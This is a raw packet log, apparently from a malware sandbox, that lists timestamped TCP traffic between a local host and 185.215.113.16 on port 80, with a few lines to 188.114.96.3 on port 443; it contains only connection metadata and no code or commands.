Oct 31, 2024 03:04:30.905108929 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.934283972 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.934318066 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.934329987 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.934340954 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.934370995 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.934370995 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.934971094 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.934983015 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.934992075 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.935015917 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.935045958 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.943402052 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.943416119 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.943425894 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.943449974 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.943478107 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.943778038 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.943819046 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.943819046 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.943831921 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.943844080 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.943856001 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.943857908 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.943883896 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.943892956 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.943902969 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.943932056 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.944092035 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.944132090 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.944135904 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.944147110 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.944169998 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.944185972 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.944314957 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.944354057 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.944356918 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.944367886 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.944395065 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.944406986 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.944721937 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.944734097 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.944763899 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.944879055 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.944891930 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.944904089 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.944915056 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.944920063 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.944927931 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.944940090 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.944968939 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.945278883 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.945297003 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.945307016 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.945319891 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.945346117 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.977138042 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.977164984 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.977176905 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.977211952 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.977224112 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.977235079 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.977324963 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.977324963 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.977324963 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.027339935 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.027353048 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.027364969 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.027527094 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.027527094 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.053450108 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.053464890 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.053474903 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.053625107 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.053625107 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.053924084 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.053942919 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.053955078 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.053968906 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.053996086 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.067289114 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.067338943 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.067379951 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.067390919 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.067400932 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.067421913 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.067429066 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.067440987 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.067452908 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.067455053 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.067465067 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.067476034 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.067485094 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.067487001 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.067514896 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.067538023 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.068160057 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.068171978 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.068181992 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.068195105 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.068202019 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.068207026 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.068228006 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.068248034 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.068298101 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.068311930 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.068321943 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.068334103 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.068336964 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.068344116 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.068363905 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.068389893 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.068988085 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.069001913 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.069011927 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.069025040 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.069026947 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.069052935 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.069080114 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.096038103 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.096110106 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.096112013 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.096123934 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.096134901 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.096157074 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.096172094 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.142621994 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.142647982 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.142659903 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.142703056 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.142724991 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.171797037 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.171818972 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.171829939 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.171890974 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.171895981 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.171914101 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.171925068 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.172051907 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.172051907 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.172537088 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.172585964 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.172605991 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.172616005 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.172643900 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.172667980 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.172679901 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.180859089 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.180872917 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.180885077 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.180921078 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.180938959 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.181643963 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.181657076 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.181673050 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.181694031 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.181731939 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.181750059 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.181787968 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.181790113 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.181799889 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.181828022 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.181842089 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.181957960 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.181981087 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.182004929 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.182015896 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.182071924 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.182116032 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.182135105 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.182147026 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.182157993 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.182179928 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.182200909 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.182383060 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.182427883 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.182430983 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.182440042 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.182475090 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.182486057 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.182492971 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.182497978 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.182509899 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.182528973 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.182549000 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.182981014 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.183022976 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.183026075 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.183037996 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.183063984 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.183083057 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.183109045 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.183120012 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.183132887 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.183149099 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.183161974 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.183185101 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.214767933 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.214782953 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.214792967 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.214970112 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.260361910 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.260409117 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.260421038 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.260431051 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.260581970 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.261084080 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.261127949 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.261137009 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.261138916 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.261163950 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.261168957 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.261198997 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.290560007 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.290571928 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.290581942 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.290642023 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.290661097 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.290673018 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.290673971 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.290688038 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.290704012 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.290720940 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.291346073 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.291395903 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.291404963 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.291414976 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.291424036 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.291454077 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.291475058 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.299614906 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.299674988 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.299686909 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.299698114 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.299732924 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.300268888 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.300312996 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.300319910 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.300332069 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.300360918 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.300376892 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.300393105 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.300404072 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.300432920 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.300443888 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.300546885 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.300573111 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.300582886 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.300582886 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.300762892 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.300785065 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.300793886 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.300793886 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.300793886 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.300796032 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.300822020 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.300836086 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.300964117 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.300975084 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.301007032 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.301213980 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.301253080 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.301316977 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.301326990 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.301356077 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.301371098 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.301520109 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.301532030 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.301542997 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.301558018 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.301562071 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.301570892 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.301580906 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.301582098 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.301595926 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.301604986 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.301604986 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.301625013 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.301651001 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.302053928 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.302077055 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.302087069 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.302099943 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.302117109 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.302130938 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.315064907 CET	443	63909	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:31.315258980 CET	63909	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:31.316370964 CET	63909	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:31.316379070 CET	443	63909	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:31.316611052 CET	443	63909	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:31.317698002 CET	63909	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:31.317811012 CET	63909	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:31.317843914 CET	443	63909	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:31.333564997 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.333579063 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.333589077 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.333671093 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.379223108 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.379236937 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.379246950 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.379309893 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.379482031 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.379839897 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.379883051 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.379887104 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.379894018 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.379903078 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.379925966 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.379951000 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.409338951 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.409353971 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.409367085 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.409379005 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.409393072 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.409418106 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.409452915 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.410074949 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.410087109 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.410098076 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.410128117 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.410146952 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.418277025 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.418337107 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.418541908 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.418584108 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.418597937 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.418637037 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.418952942 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.419003963 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.419025898 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.419037104 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.419064045 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.419070959 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.419081926 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.419092894 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.419094086 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.419105053 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.419130087 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.419399977 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.419411898 CET	80	63886	185.215.113.16	192.168.2.4
